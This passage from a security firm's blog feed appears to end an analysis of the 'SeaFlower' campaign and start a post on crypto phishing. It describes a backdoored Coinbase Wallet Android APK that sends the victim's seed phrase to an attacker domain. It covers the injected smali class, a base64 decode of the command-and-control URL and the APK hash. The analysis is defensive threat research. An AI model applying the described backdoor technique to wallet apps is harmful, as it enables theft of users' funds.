8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4>Coinbase Wallet android app</h4><p>It is important to note that with every iOS app, delivered via provisioning profiles, there was an android app available to download on the same page setup by SeaFlower:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jhbr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8eea43ed-fb34-47ce-b94a-71266e0ac37c_1000x827.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jhbr!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8eea43ed-fb34-47ce-b94a-71266e0ac37c_1000x827.png 424w, https://substackcdn.com/image/fetch/$s_!jhbr!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8eea43ed-fb34-47ce-b94a-71266e0ac37c_1000x827.png 848w, https://substackcdn.com/image/fetch/$s_!jhbr!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8eea43ed-fb34-47ce-b94a-71266e0ac37c_1000x827.png 1272w, https://substackcdn.com/image/fetch/$s_!jhbr!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8eea43ed-fb34-47ce-b94a-71266e0ac37c_1000x827.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jhbr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8eea43ed-fb34-47ce-b94a-71266e0ac37c_1000x827.png" width="1000" height="827" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8eea43ed-fb34-47ce-b94a-71266e0ac37c_1000x827.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:827,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jhbr!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8eea43ed-fb34-47ce-b94a-71266e0ac37c_1000x827.png 424w, https://substackcdn.com/image/fetch/$s_!jhbr!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8eea43ed-fb34-47ce-b94a-71266e0ac37c_1000x827.png 848w, https://substackcdn.com/image/fetch/$s_!jhbr!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8eea43ed-fb34-47ce-b94a-71266e0ac37c_1000x827.png 1272w, https://substackcdn.com/image/fetch/$s_!jhbr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8eea43ed-fb34-47ce-b94a-71266e0ac37c_1000x827.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>We will do a quick analysis for the Coinbase Wallet APK file to showcase how the backdoor code has been added.</p><p>SHA-256 of the APK: 83dec763560049965b524932dabc6bd6252c7ca2ce9016f47c397293c6cd17a5</p><p>I installed the APK and run it on an Android emulator, with the SSL interception in place. Not suprisingly, and similar to the iOS flavour of this app, a network request is sent to an attacker controlled domain containing the seed phrase of the victim:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nZ2b!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04a4cfa1-41a5-4eb8-9e81-4529c875b8f4_1000x397.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nZ2b!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04a4cfa1-41a5-4eb8-9e81-4529c875b8f4_1000x397.png 424w, https://substackcdn.com/image/fetch/$s_!nZ2b!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04a4cfa1-41a5-4eb8-9e81-4529c875b8f4_1000x397.png 848w, https://substackcdn.com/image/fetch/$s_!nZ2b!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04a4cfa1-41a5-4eb8-9e81-4529c875b8f4_1000x397.png 1272w, https://substackcdn.com/image/fetch/$s_!nZ2b!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04a4cfa1-41a5-4eb8-9e81-4529c875b8f4_1000x397.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nZ2b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04a4cfa1-41a5-4eb8-9e81-4529c875b8f4_1000x397.png" width="1000" height="397" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/04a4cfa1-41a5-4eb8-9e81-4529c875b8f4_1000x397.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:397,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nZ2b!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04a4cfa1-41a5-4eb8-9e81-4529c875b8f4_1000x397.png 424w, https://substackcdn.com/image/fetch/$s_!nZ2b!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04a4cfa1-41a5-4eb8-9e81-4529c875b8f4_1000x397.png 848w, https://substackcdn.com/image/fetch/$s_!nZ2b!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04a4cfa1-41a5-4eb8-9e81-4529c875b8f4_1000x397.png 1272w, https://substackcdn.com/image/fetch/$s_!nZ2b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04a4cfa1-41a5-4eb8-9e81-4529c875b8f4_1000x397.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">exfiltrated seed phrase from backdoored Coinbase wallet</figcaption></figure></div><p>Android APKs are extremely easy to backdoor, therefore we won&#8217;t be spending too much time in this section and we will limit the analysis to the Coinbase Wallet APK, only.</p><p>One very known technique is injecting smali code. Looking at the HTTP request sent, and the parameters names, it didn&#8217;t take me too much time to find out the backdoor code, that is implemented in a class called XMPMetadata:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VQb0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed52ca66-b4ca-4f35-bec6-9459e8b6a1b3_1000x445.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VQb0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed52ca66-b4ca-4f35-bec6-9459e8b6a1b3_1000x445.png 424w, https://substackcdn.com/image/fetch/$s_!VQb0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed52ca66-b4ca-4f35-bec6-9459e8b6a1b3_1000x445.png 848w, https://substackcdn.com/image/fetch/$s_!VQb0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed52ca66-b4ca-4f35-bec6-9459e8b6a1b3_1000x445.png 1272w, https://substackcdn.com/image/fetch/$s_!VQb0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed52ca66-b4ca-4f35-bec6-9459e8b6a1b3_1000x445.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VQb0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed52ca66-b4ca-4f35-bec6-9459e8b6a1b3_1000x445.png" width="1000" height="445" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ed52ca66-b4ca-4f35-bec6-9459e8b6a1b3_1000x445.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:445,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!VQb0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed52ca66-b4ca-4f35-bec6-9459e8b6a1b3_1000x445.png 424w, https://substackcdn.com/image/fetch/$s_!VQb0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed52ca66-b4ca-4f35-bec6-9459e8b6a1b3_1000x445.png 848w, https://substackcdn.com/image/fetch/$s_!VQb0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed52ca66-b4ca-4f35-bec6-9459e8b6a1b3_1000x445.png 1272w, https://substackcdn.com/image/fetch/$s_!VQb0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed52ca66-b4ca-4f35-bec6-9459e8b6a1b3_1000x445.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The author didn&#8217;t add anything fancy to their backdoor, and called this class when the seed phrase is about to be saved to the Storage with the seed phrase in parameters :)</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zC2u!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe83024f5-83b2-4348-ae01-a69542081dd2_1000x152.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zC2u!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe83024f5-83b2-4348-ae01-a69542081dd2_1000x152.png 424w, https://substackcdn.com/image/fetch/$s_!zC2u!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe83024f5-83b2-4348-ae01-a69542081dd2_1000x152.png 848w, https://substackcdn.com/image/fetch/$s_!zC2u!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe83024f5-83b2-4348-ae01-a69542081dd2_1000x152.png 1272w, https://substackcdn.com/image/fetch/$s_!zC2u!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe83024f5-83b2-4348-ae01-a69542081dd2_1000x152.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zC2u!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe83024f5-83b2-4348-ae01-a69542081dd2_1000x152.png" width="1000" height="152" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e83024f5-83b2-4348-ae01-a69542081dd2_1000x152.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:152,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zC2u!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe83024f5-83b2-4348-ae01-a69542081dd2_1000x152.png 424w, https://substackcdn.com/image/fetch/$s_!zC2u!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe83024f5-83b2-4348-ae01-a69542081dd2_1000x152.png 848w, https://substackcdn.com/image/fetch/$s_!zC2u!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe83024f5-83b2-4348-ae01-a69542081dd2_1000x152.png 1272w, https://substackcdn.com/image/fetch/$s_!zC2u!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe83024f5-83b2-4348-ae01-a69542081dd2_1000x152.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">backdoor code inside saveMnemonicToStorage()</figcaption></figure></div><p>and they encoded the C2 domain/url in base64, how fancy :</p><pre><code>echo -n &#8220;aHR0cHM6Ly9jb2xuYmFzZS5ob21lcy91L3Ntcy8=&#8221; | base64 -d</code></pre><pre><code>https://colnbase.homes/u/sms/</code></pre><h3>Some Final thoughts about SeaFlower:</h3><p>What I liked about this cluster of activity, is the fact that it is unique, it is web3 related, and not reported before. It seems there was a lot of efforts in the iOS side of things, for example setting up provisioning profiles, automatic deployments, sophisticated backdoor code, etc. More work has been done compared to the Android side of things.</p><p>There are some notable challenges when it comes to SeaFlower attribution, for example figuring out if the provisioning servers are run by the same group, and also identifying more initial vectors of the attack beside the Chinese search engines. All these are difficult challenges due to the geographical and language barrier aspects.</p><p>We are planning to release sometime in the near future a part 2 of this blog post, where we will do a deep dive into the infrastructure used by SeaFlower and add more elements of attribution.</p><h3>General security recommendations:</h3><h4>For Web3 Wallet developers</h4><p>Definitely not an easy one when it comes to protecting crypto-related software like mobile web3 wallets used by millions of people.</p><p>What we write in this section won&#8217;t prevent a skilled or determined attacker from tampering with your apps, but there are some easy fixes that could cost money and time to your attackers.</p><p>First of all, know and understand your attack surface (hopefully this blog can help), as well as reading this document listing different attack surfaces crypto wallets could be exposed to : <a href="https://github.com/OWASP/owasp-mstg/blob/master/Document/0x06c-Reverse-Engineering-and-Tampering.md">https://github.com/OWASP/owasp-mstg/blob/master/Document/0x06c-Reverse-Engineering-and-Tampering.md</a></p><p>Secondly, make your stuff harder to break :) detecting inline hooks, injected libraries, detecting instrumentation tools, etc.. are well-known and documented topics.</p><h4>For Web3 users</h4><p>Always download mobile apps from official stores: Apple AppStore &amp; Play Store.</p><p>Never install or accept random provisioning profiles on your iPhone, as you saw in this blog post, they allow the download of unverified software that could potentially steal your crypto.</p><h3><strong>Final words&#8202;&#8212;&#8202;part 2 coming soon</strong></h3><p>if you like this content, please ensure to follow me on twitter <a href="https://twitter.com/lordx64?lang=en">@lordx64</a> and please stay tuned for the part 2.</p><p>If you are working at a security team please get in touch with us at security@confiant.com to get access to our web3 threat intelligence feeds, including access to more SeaFlower intrusion-set updates.</p>]]></content:encoded></item><item><title><![CDATA[A Whirlwind Tour Of Crypto Phishing]]></title><description><![CDATA[The post-pandemic world has seen cryptocurrencies and blockchain products in general catapult in valuation and adoption.]]></description><link>https://blog.confiant.com/p/a-whirlwind-tour-of-crypto-phishing-8628da0a9e38</link><guid isPermaLink="false">https://blog.confiant.com/p/a-whirlwind-tour-of-crypto-phishing-8628da0a9e38</guid><dc:creator><![CDATA[Eliya Stein]]></dc:creator><pubDate>Mon, 21 Mar 2022 20:55:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!C7U9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4fd1504-e22c-4b62-a5f3-5b43a4f26804_1000x667.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!C7U9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4fd1504-e22c-4b62-a5f3-5b43a4f26804_1000x667.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!C7U9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4fd1504-e22c-4b62-a5f3-5b43a4f26804_1000x667.jpeg 424w, https://substackcdn.com/image/fetch/$s_!C7U9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4fd1504-e22c-4b62-a5f3-5b43a4f26804_1000x667.jpeg 848w, https://substackcdn.com/image/fetch/$s_!C7U9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4fd1504-e22c-4b62-a5f3-5b43a4f26804_1000x667.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!C7U9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4fd1504-e22c-4b62-a5f3-5b43a4f26804_1000x667.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!C7U9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4fd1504-e22c-4b62-a5f3-5b43a4f26804_1000x667.jpeg" width="724" height="482.908" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c4fd1504-e22c-4b62-a5f3-5b43a4f26804_1000x667.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:667,&quot;width&quot;:1000,&quot;resizeWidth&quot;:724,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!C7U9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4fd1504-e22c-4b62-a5f3-5b43a4f26804_1000x667.jpeg 424w, https://substackcdn.com/image/fetch/$s_!C7U9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4fd1504-e22c-4b62-a5f3-5b43a4f26804_1000x667.jpeg 848w, https://substackcdn.com/image/fetch/$s_!C7U9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4fd1504-e22c-4b62-a5f3-5b43a4f26804_1000x667.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!C7U9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc4fd1504-e22c-4b62-a5f3-5b43a4f26804_1000x667.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The post-pandemic world has seen cryptocurrencies and blockchain products in general catapult in valuation and adoption. &#8220;Web3&#8221;, &#8220;DeFi&#8221;, and &#8220;NFT&#8221; have become household terms and the sector is growing so fast that people and businesses are pouring in with dollar signs in their eyes and high hopes to get a piece of the pie. A massive land grab reminiscent of the dot com bubble is taking place with fortunes amassed in the blink of an eye and wiped out just as quickly due to extreme price volatility, regulatory frothiness, hacks, and scams.</p><p>Like sharks to chum, the malvertisers have long since arrived to play their role. In this blog post we will look at several chains that start with an ad and end with cryptocurrency theft, usually via phishing.</p><div><hr></div><h4>Hardware Wallets</h4><p>When it comes to blockchain based assets like Bitcoin, Ethereum, and many others, a private key is used to sign transactions. The transactions 